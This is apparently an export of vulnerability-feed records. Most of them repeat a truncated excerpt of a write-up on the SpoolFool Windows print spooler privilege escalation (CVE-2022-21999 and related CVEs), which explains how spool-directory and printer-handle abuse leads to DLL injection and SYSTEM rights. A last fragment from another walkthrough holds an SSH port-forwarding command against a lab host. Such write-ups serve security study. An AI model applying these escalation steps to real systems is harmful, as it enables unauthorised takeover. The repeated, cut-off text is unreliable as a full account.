Privilege Escalation: SpoolFool\n\nIntroductionOliver Lyak posted a write-up about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048 Summary of the VulnerabilityThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring the SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE the right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform tasks such as DLL injection. Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 \n\nApplication: The print application creates a print job by calling Graphics Device Interface (GDI).\n\nGDI: GDI includes both user-mode and kernel-mode components for graphics support.\n\nwinspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.\n\nspoolsv.exe is the spooler\u2019s API server. This module implements message routing to print provider with the help of router (spoolss.dll)\n\nspoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider. Spool DirectoryWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses the printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.\n\nWorkflow of the CVE 2020-1030\n\nI would highly recommend reading Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much technicality, here is a summary of how the vulnerability shall be exploited.\n\n* By default, users can add printers without administrator authentication needed.\n* Calling AddPrinter returns a printer handle (I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \n\n* However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTER right to the server on which the printer is to be created.\n* An unprivileged user will not have these rights and hence, can\u2019t add a new printer with PRINTER_ALL_ACCESS right.\n* However, the \u201cINTERACTIVE\u201d group has the manage server permissions enabled which correspond to\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjNCSl-n_[...]", "vulnerability": "CVE-2022-21999", "author": {"login": "automation"}}, {"uuid": "63834665-cf36-4bf5-b15f-b43bf62f4a65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:07.453792+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43066", "content": "Hacking Articles\nWindows Privilege Escalation: SpoolFool\n\nIntroductionOliver Lyak posted a write-up about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048 Summary of the VulnerabilityThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring the SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE the right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform tasks such as DLL injection. Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 \n\nApplication: The print application creates a print job by calling Graphics Device Interface (GDI).\n\nGDI: GDI includes both user-mode and kernel-mode components for graphics support.\n\nwinspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.\n\nspoolsv.exe is the spooler\u2019s API server. This module implements message routing to print provider with the help of router (spoolss.dll)\n\nspoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider. Spool DirectoryWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses the printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.\n\nWorkflow of the CVE 2020-1030\n\nI would highly recommend reading Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much technicality, here is a summary of how the vulnerability shall be exploited.\n\n* By default, users can add printers without administrator authentication needed.\n* Calling AddPrinter returns a printer handle (I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \n\n* However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTER right to the server on which the printer is to be created.\n* An unprivileged user will not have these rights and hence, can\u2019t add a new printer with PRINTER_ALL_ACCESS right.\n* However, the \u201cINTERACTIVE\u201d group has the manage server permissions enabled which correspond to\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjNCSl-n_[...]", "vulnerability": "CVE-2020-1030", "author": {"login": "automation"}}, {"uuid": "7d0dd1c7-edd1-4508-8af3-7abe8ea80d6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:07.410673+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43066", "content": "Hacking Articles\nWindows Privilege Escalation: SpoolFool\n\nIntroductionOliver Lyak posted a write-up about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048 Summary of the VulnerabilityThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring the SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE the right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform tasks such as DLL injection. Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 \n\nApplication: The print application creates a print job by calling Graphics Device Interface (GDI).\n\nGDI: GDI includes both user-mode and kernel-mode components for graphics support.\n\nwinspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.\n\nspoolsv.exe is the spooler\u2019s API server. This module implements message routing to print provider with the help of router (spoolss.dll)\n\nspoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider. Spool DirectoryWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses the printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.\n\nWorkflow of the CVE 2020-1030\n\nI would highly recommend reading Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much technicality, here is a summary of how the vulnerability shall be exploited.\n\n* By default, users can add printers without administrator authentication needed.\n* Calling AddPrinter returns a printer handle (I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \n\n* However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTER right to the server on which the printer is to be created.\n* An unprivileged user will not have these rights and hence, can\u2019t add a new printer with PRINTER_ALL_ACCESS right.\n* However, the \u201cINTERACTIVE\u201d group has the manage server permissions enabled which correspond to\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjNCSl-n_[...]", "vulnerability": "CVE-2020-1048", "author": {"login": "automation"}}, {"uuid": "da7f6566-eda4-4866-b676-8f398750a540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:07.358684+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43066", "content": "Hacking Articles\nWindows Privilege Escalation: SpoolFool\n\nIntroductionOliver Lyak posted a write-up about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048 Summary of the VulnerabilityThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring the SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE the right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform tasks such as DLL injection. Print Spooler BasicsPrint spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 \n\nApplication: The print application creates a print job by calling Graphics Device Interface (GDI).\n\nGDI: GDI includes both user-mode and kernel-mode components for graphics support.\n\nwinspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.\n\nspoolsv.exe is the spooler\u2019s API server. This module implements message routing to print provider with the help of router (spoolss.dll)\n\nspoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider. Spool DirectoryWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses the printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.\n\nWorkflow of the CVE 2020-1030\n\nI would highly recommend reading Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much technicality, here is a summary of how the vulnerability shall be exploited.\n\n* By default, users can add printers without administrator authentication needed.\n* Calling AddPrinter returns a printer handle (I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \n\n* However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTER right to the server on which the printer is to be created.\n* An unprivileged user will not have these rights and hence, can\u2019t add a new printer with PRINTER_ALL_ACCESS right.\n* However, the \u201cINTERACTIVE\u201d group has the manage server permissions enabled which correspond to\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjNCSl-n_[...]", "vulnerability": "CVE-2020-1337", "author": {"login": "automation"}}, {"uuid": "a00537d0-0a72-4ef7-978a-8d5650f1b3e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:07.304388+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43056", "content": "Hacking Articles|Raj Chandel's Blog\nWindows Privilege Escalation: SpoolFool\n\nWindows Privilege Escalation: SpoolFoolIntroduction<o:pOliver Lyak posted a writeup about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it as \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.<o:p\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999<o:p\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048<o:p Summary of the Vulnerability<o:pThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform task such as DLL injection.<o:p Print Spooler Basics<o:pPrint spooler is the primary printing process interface. It is a built in EXE file which is loaded at system startup itself. The workflow of a printing process is as follows:<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 Application: The print application creates a print job by calling Graphics Device Interface (GDI).<o:p GDI: GDI includes both user-mode and kernel-mode components for graphics support.<o:p winspool.drvis the interface that talks to spooler. It provides the RPC stubs required to accessing the server.<o:p spoolsv.exeis the spooler's API server. This module implements message routing to print provider with the help of router (spoolss.dll)<o:p spoolss.dlldetermines which print provider to call, based on a printer name and passes function call to the correct provider.<o:p Spool Directory<o:pWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.<o:p\n\n<o:p Workflow of the CVE 2020-1030<o:pI would highly recommend reading up Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much of technicality, here is a summary of how the vulnerability shall be exploited.<o:p\n\n\u00b7 By default, users can add printers without administrator authentication needed.<o:p\n\n\u00b7 Calling AddPrinter returns a printer handle(I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations. <o:p https://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \u00b7 However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTERright to the server on which the printer is to be created.<o:p\n\n\u00b7 An unprivileged user will [...]", "vulnerability": "CVE-2022-21999", "author": {"login": "automation"}}, {"uuid": "770e1327-1d6b-4fad-aea3-d9b0c31c1266", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:07.252566+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43056", "content": "Hacking Articles|Raj Chandel's Blog\nWindows Privilege Escalation: SpoolFool\n\nWindows Privilege Escalation: SpoolFoolIntroduction<o:pOliver Lyak posted a writeup about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it as \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.<o:p\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999<o:p\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048<o:p Summary of the Vulnerability<o:pThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform task such as DLL injection.<o:p Print Spooler Basics<o:pPrint spooler is the primary printing process interface. It is a built in EXE file which is loaded at system startup itself. The workflow of a printing process is as follows:<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 Application: The print application creates a print job by calling Graphics Device Interface (GDI).<o:p GDI: GDI includes both user-mode and kernel-mode components for graphics support.<o:p winspool.drvis the interface that talks to spooler. It provides the RPC stubs required to accessing the server.<o:p spoolsv.exeis the spooler's API server. This module implements message routing to print provider with the help of router (spoolss.dll)<o:p spoolss.dlldetermines which print provider to call, based on a printer name and passes function call to the correct provider.<o:p Spool Directory<o:pWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.<o:p\n\n<o:p Workflow of the CVE 2020-1030<o:pI would highly recommend reading up Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much of technicality, here is a summary of how the vulnerability shall be exploited.<o:p\n\n\u00b7 By default, users can add printers without administrator authentication needed.<o:p\n\n\u00b7 Calling AddPrinter returns a printer handle(I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations. <o:p https://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \u00b7 However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTERright to the server on which the printer is to be created.<o:p\n\n\u00b7 An unprivileged user will [...]", "vulnerability": "CVE-2020-1030", "author": {"login": "automation"}}, {"uuid": "409cc7f7-7c5e-400f-a84f-71590f203893", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:07.202558+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43056", "content": "Hacking Articles|Raj Chandel's Blog\nWindows Privilege Escalation: SpoolFool\n\nWindows Privilege Escalation: SpoolFoolIntroduction<o:pOliver Lyak posted a writeup about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it as \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.<o:p\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999<o:p\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048<o:p Summary of the Vulnerability<o:pThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform task such as DLL injection.<o:p Print Spooler Basics<o:pPrint spooler is the primary printing process interface. It is a built in EXE file which is loaded at system startup itself. The workflow of a printing process is as follows:<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 Application: The print application creates a print job by calling Graphics Device Interface (GDI).<o:p GDI: GDI includes both user-mode and kernel-mode components for graphics support.<o:p winspool.drvis the interface that talks to spooler. It provides the RPC stubs required to accessing the server.<o:p spoolsv.exeis the spooler's API server. This module implements message routing to print provider with the help of router (spoolss.dll)<o:p spoolss.dlldetermines which print provider to call, based on a printer name and passes function call to the correct provider.<o:p Spool Directory<o:pWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.<o:p\n\n<o:p Workflow of the CVE 2020-1030<o:pI would highly recommend reading up Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much of technicality, here is a summary of how the vulnerability shall be exploited.<o:p\n\n\u00b7 By default, users can add printers without administrator authentication needed.<o:p\n\n\u00b7 Calling AddPrinter returns a printer handle(I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations. <o:p https://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \u00b7 However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTERright to the server on which the printer is to be created.<o:p\n\n\u00b7 An unprivileged user will [...]", "vulnerability": "CVE-2020-1048", "author": {"login": "automation"}}, {"uuid": "976fdb9c-37ef-4da9-96aa-d084462d433e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:07.148579+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43056", "content": "Hacking Articles|Raj Chandel's Blog\nWindows Privilege Escalation: SpoolFool\n\nWindows Privilege Escalation: SpoolFoolIntroduction<o:pOliver Lyak posted a writeup about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it as \u201cSpoolFool.\u201d In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\\SYSTEM.<o:p\n\nRelated advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999<o:p\n\nRelated CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048<o:p Summary of the Vulnerability<o:pThe vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform task such as DLL injection.<o:p Print Spooler Basics<o:pPrint spooler is the primary printing process interface. It is a built in EXE file which is loaded at system startup itself. The workflow of a printing process is as follows:<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgzRjHIgyikNwAhv9i5Atndlje5cJxTUg6X4QsfFbB7kWT7EnPL129UqZNmeE9bdjGni9LKNkeJ5jgF4fErgPcpncHU654ttNxANwXkYGaR8hIBqr-ELnWE2LM3c6ZtNXAO1IVsD8-p31_lHaQw2AS41eEPDBU5H1RUPkoVBGe9XlsRbcEzSLOE1DLCyg=s16000 Application: The print application creates a print job by calling Graphics Device Interface (GDI).<o:p GDI: GDI includes both user-mode and kernel-mode components for graphics support.<o:p winspool.drvis the interface that talks to spooler. It provides the RPC stubs required to accessing the server.<o:p spoolsv.exeis the spooler's API server. This module implements message routing to print provider with the help of router (spoolss.dll)<o:p spoolss.dlldetermines which print provider to call, based on a printer name and passes function call to the correct provider.<o:p Spool Directory<o:pWhen a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\\Windows\\System32\\spool\\PRINTERS. This directory is by default writeable by everyone as everyone uses printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.<o:p\n\n<o:p Workflow of the CVE 2020-1030<o:pI would highly recommend reading up Victor Mata\u2019s post here before trying to demonstrate the vulnerability yourself. But for people who don\u2019t like to get into too much of technicality, here is a summary of how the vulnerability shall be exploited.<o:p\n\n\u00b7 By default, users can add printers without administrator authentication needed.<o:p\n\n\u00b7 Calling AddPrinter returns a printer handle(I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations. <o:p https://blogger.googleusercontent.com/img/a/AVvXsEipsvNes1iInJTnQmIPewRtQsg6Pl4NoiYmq1_fk8i8NoaG702Z7dPhV1g4WqSCL4SDqUvmNE0XtO5wk17IymRj-KFfVamGcYSe1PzoUvkIC_ihzV8uCKWsQdNGvl85OO4_vRUvMbgNLl2nK_GGo63MK3rdG5peu6zmfhLUx7-b-CwsM4llak7MMnV2AA=s16000 \u00b7 However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTERright to the server on which the printer is to be created.<o:p\n\n\u00b7 An unprivileged user will [...]", "vulnerability": "CVE-2020-1337", "author": {"login": "automation"}}, {"uuid": "2b9a7fca-4bb5-4142-85fe-1f423228d651", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:00:07.060899+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42981", "content": "9vSBLdK7eDeVI7RdmJ2-wbIpFZw_ewUl8wc5H3OqZ0n63eGtc-OdzKbioP0GHXc0jTftJE18DO3pqnM8NclM09PWMi6ndCxZJ-TPMMn6vRachjCjWgkn-l7Pp9J6JoAQkcnWXZvdg5c3XEKuF3coL5dmeDomMlxK0rmXLT7xTrTViG8U4w=s16000 \n\nAs it had got copied, we could now run an SSH tunnel and forward port 8000 to our local system\u2019s port 8000 using the command:\nssh -i id_rsa -L 8000:localhost:8000 strapi@10.129.149.92 